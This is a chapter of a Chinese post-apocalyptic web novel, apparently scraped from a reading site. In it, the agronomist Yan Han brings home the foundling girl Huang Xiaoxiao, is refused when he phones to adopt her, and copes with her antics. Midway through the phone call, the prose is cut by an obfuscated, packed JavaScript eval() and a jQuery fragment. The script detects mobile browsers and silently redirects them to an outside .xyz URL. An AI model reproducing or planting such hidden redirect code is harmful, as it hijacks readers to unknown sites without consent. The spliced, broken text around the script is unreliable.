严漌抱着睡成懒懒一滩的黄笑笑回了车上,放下她后关门,点火,手刹,启动一气呵成。
终于可以回家了,严漌很放松。不知为何,他内心溢出满满的幸福感和收获感,也许是因为安静睡在一旁的黄笑笑吧。
第一次,他在末日里,真正地有了实在的收获。尽管不是他辛勤培育下的植物,而是捡回来的流浪儿童。可或许正因为是人类,严漌才感受到这么深刻的连接感。
末日后失去亲人朋友的联系,他一个人流浪求生到A区,然后就留了下来。说真的,他其实很感谢基地里的人,大部分人都很好,带着难得一见的真心。可即便如此,他也时常觉得自己一个人生活得很孤单。
严漌擅长把自己的寂寥都隐藏下来。工作里,他刻苦勤奋希望能做出一番成果,不辜想负众人,只要有个结果,就算对得起大家。生活里,他一向是温和的,别人说什么都好,他总是会答应。
他是基地里不多见的老好人,可在这里的三四年,他也是迷茫的。自己的一切努力,一切工作,一切的忙碌,真的是值得的吗?植物不再结果,人类不再繁衍,是不是,这世界终究就是要灭亡。而他所做的一切,都是无用之功。
黄笑笑的出现,让这个局面反转了。
是新生儿,黄笑笑是末日里的新生儿。至少人类的灭亡,不会是现在了,严漌这么想。因为大自然让新的人类降生了,所以,这世界希望人类再活下去一段时间。
严漌伸出手,挑了挑黄笑笑额前的发。
他在内心说,生命之火在点燃,在传递。
属于人类的希望,他在黄笑笑身上看见了;属于植物的希望,他在芒果树上看见了;属于他的希望,他也看见了。
捡下一个儿童,严漌建立了独属于他的羁绊。这是一个真正因他而活的人类,背负起新的责任,他喜欢这种踏实的感觉。
严漌嘴角一直挂着浅浅的笑,眼睛里也溢出星光点点。他很开心,缓缓启动车辆,慢慢驶了进去。宿舍楼底,严漌停好车,把黄笑笑抱了下来。
说起来,宋知检查了黄笑笑的脚,上面的伤口已经愈合,只留下几道淡淡嫩红色的疤痕。几人虽然有些震惊于黄笑笑的愈合能力,但也很快接受了。毕竟末日都来了,还有什么不可能呢?
不过严漌担心黄笑笑又伤到自己,于是她脚上依旧裹着一层纱布,是宋知裹的。宋医生还善意地嘲笑了严漌一番,严漌却脸皮厚得很,表示自己此前只裹过树,所以很合理。他还表示,自己会向专业的宋医生好好学习的。
“小严,回来啦?哎呦~这是谁家的小姑娘啊,长得真俊!快给奶奶我稀罕一下!”一道欢快的声音传来,是住在一楼的齐明珠,是安全部部长的妈妈。老太太为人善良亲热,和大家伙儿关系很好,平时也没少叫严漌去她家蹭饭。
严漌抱着黄笑笑避开了老太太的手,弯着眉眼笑道:“是呀,刚回来。这小孩是我捡的,睡着了。而且老沉了,我先带她回去,让她在楼上睡会儿。”
“欸欸好,那你待会下来,陪我聊聊天。一个礼拜没见,我老想你了。”
严漌的笑带着真心,“不急,慢慢来。”
“哎呀,你这小子!不过说好了,晚饭在我这吃啊。把小姑娘也带来,别怕给我添麻烦,我稀罕得很。”
严漌不接话,还是笑着。
齐明珠眉毛一拧,嘴巴一撅,摇着头开口:“你总不想看着老人家一把骨头了,还爬五楼上去去找你吧?”
严漌慌忙接话:“哎呦,这哪敢哪?您比我的亲人还亲!”
齐明珠被哄得开心,拍了拍严漌的肩膀,“那可就说好了,晚上一定得下来吃饭,听见没?”
严漌答应下来,就抱着黄笑笑一口气上了五楼。浅浅负重四十多斤,严漌轻松拿下,他单手抱着黄笑笑,手里翻着钥匙打开了门。
他快速地把黄笑笑塞进了卧室被窝里,去了卫生间,想冲把脸清醒清醒。突然发现自己肩膀有一小块濡湿,他推测起来,这可能是黄笑笑的口水。
严漌曾经带过自己的表侄子,不过还是有些嫌弃小孩的口水。他皱着眉头掀起肩膀衣角,强忍着不适轻轻地嗅了嗅。
嗯?熟悉的淡淡花果香。
可能是他误解了。
其实不然。
严漌迅速冲完脸,又来来回回地搬了三两趟东西。看着差不多了,就拿上衣服洗澡去了。黄笑笑在柔软的大床上大睡特谁,当然“大”是针对黄笑笑而言,这只称得上是一张普通的单人床。
严漌裸身高是结结实实的180cm,一点不多,一点不少。其实严格意义上来说,他多了0.2cm,不过严漌很严谨,过五才能进一,他对外统统宣称自己一八零。
在看到那些说自己一米八以上的人,站到面前,却比自己矮的时候,严漌内心总会泛起一丝淡淡的爽感。
这是他的恶趣味之一。
他睡这张1.2米×2米的床,只能说刚刚好,还将就。而黄笑笑在此刻发挥了一棵树扎根的本能,两条腿到处乱拱。两只手也到处扒拉,总之,她在严漌的床上大闹天宫,如同泥龙入海,大显身手。
等严漌洗完澡从卫生间出来回到卧室,他大为震撼。他的床上多了一个“粑粑”样的物体,灰色的被子围成一圈,露出中心顶尖的一点黄。
那一点黄是黄笑笑的脑袋,他知道。可是为什么,她能睡成这样?!
严漌思考了半天,足足做了五分钟的力学分析,也没能分析出黄笑笑到底是通过哪种睡姿呈现出这种状态。
实践出真知。
严漌轻轻地伸出手,从外圈绕着的被子开始解密,一圈,又一圈,一只脚,两只脚.....
哦~原来黄笑笑是这么睡的!学会了,下次我也——严漌很是怀疑这么睡真的舒服吗?不过出于尊重,他还是给黄笑笑原模原样地围了回去。
严漌退出卧室,轻轻地关上了门,走到了书房里。他想了想,翻出手机和通讯录,拨通了人口管理处的电话。
“喂,您好!这里是人口管理处。请问有什么需要帮忙的吗?”
“嗯,您好,我是农科院的严漌,住在33号宿舍501。是这样的,我捡到了一个小孩。”
“哦好的,您捡到了一个小孩是吗?是这样的,我们目前A区人口登记紧张,不一定能联系到收养,但是我们会尽量联系别人帮助孩子早日入住A区,我争取在三日内给您答复好吗?”
“额是这样的,我不是要联系收养,我是想自己收养,可以吗?”
“啊这样吗?好的,请问您收养的小孩性别和年龄是?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15913397|176965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“应该是女孩,大概五六岁了。”
“您今年多大?”
“二十七。男性。”
“好的。不好意思,先生,请问您结婚了吗?或者恋爱有配偶吗?我这边看到您登记的是独居。”
“没有。”
“好的,如果根据末日前大法规,收养异性子女的单身收养人需要与被收养人相差四十岁以上才可以哦。”
“......”一阵死寂的沉默。
“我不能收养吗?”
“抱歉,我们会尽快通知救助中心的,请您保持联系。谢谢您的来电。”
“谢谢...”
严漌听着电话被挂断的嘟嘟声,心里也莫名惆怅起来。算了,养不了就算了吧。能养几天养几天,一贯行事有方的男人这么安慰着自己。
“吱呀”一声,一个小黄毛,推开了书房的门。黄笑笑一手拖着枕头,一手拖着被子出现在了严漌面前,头发炸得飞起来。严漌脸上落寞的神色转瞬即逝,他有点生气了!
“黄笑笑!”
“?”
黄笑笑一脸疑惑,是她看错了吗,刚刚她的种植员明明很伤心的样子,为什么现在看起来这么生气?人类,真是难懂的家伙。
男人从黄笑笑手里解救出枕头和被子,然后逮捕“犯罪”的小黄毛,把她叉起来放在了书桌上。
“你就待在这里!哪里都不许去,明白没有?”
严漌看着黄笑笑,一脸严肃。黄笑笑看着他的脸,也学着他的样子,一脸严肃。严漌率先败下阵来,叹了口气,双手撑在书桌上,刚想重新好好说一遍,黄笑笑就伸手拉住了他的脸向两边拽。
黄笑笑在试图给他拉出一个笑脸,她的力气真的很大,严漌的脸都被拉红了。他能意识到黄笑笑可能是在用这种方式安慰他纯粹是因为,她自己在做一个很傻的笑脸。
严漌忍着疼痛回复了黄笑笑一个笑脸,黄笑笑才松开了手。他不得不有些怀疑自己给黄笑笑取的这个临时名字到底对不对了。
男人认命地把被套枕套拆了下来,丢进了脏衣篮里。回到卧室,才发现自己高兴得太早,床单也是一样流淌在地上。
他该感谢黄笑笑只有两只手吗?不然或许被单也要被她拿来拖地了。
严漌感恩自己还算爱干净,常备换洗三件套。等忙完再回到书房时,他发现黄笑笑果真乖乖地坐在书桌上一动不动,心脏不免软软的,涌出一股暖意。
刚想笑,又感受到自己脸上的刺痛,突然就笑不出来了。
严漌拉了拉嘴角,试图把自己的脸松弛下来。如果换个人来看,或许会觉得一向温和的严漌,与往日十分不同。此刻多了几分痞帅,风流,不屑,是截然不同的他,是痞严。
可他对面的是黄笑笑,只觉得严漌呲牙咧嘴的。黄笑笑跟着学了学严漌的表情,学到三分,活像一个黄毛小狗,马上就要咬人。
严漌是真的没招了,顶了顶腮帮子,无奈地苦笑出声来。黄笑笑只是还不知道那个词,否则她会说:“严漌,你真的很装。”
严漌和黄笑笑说了说接下来的安排,大致意思是,先去楼下奶奶那,让她帮黄笑笑洗漱。他忙完别的事,就会回来和她一起吃饭。
黄笑笑的小脸皱成一团,不知道是不理解,还是不愿意。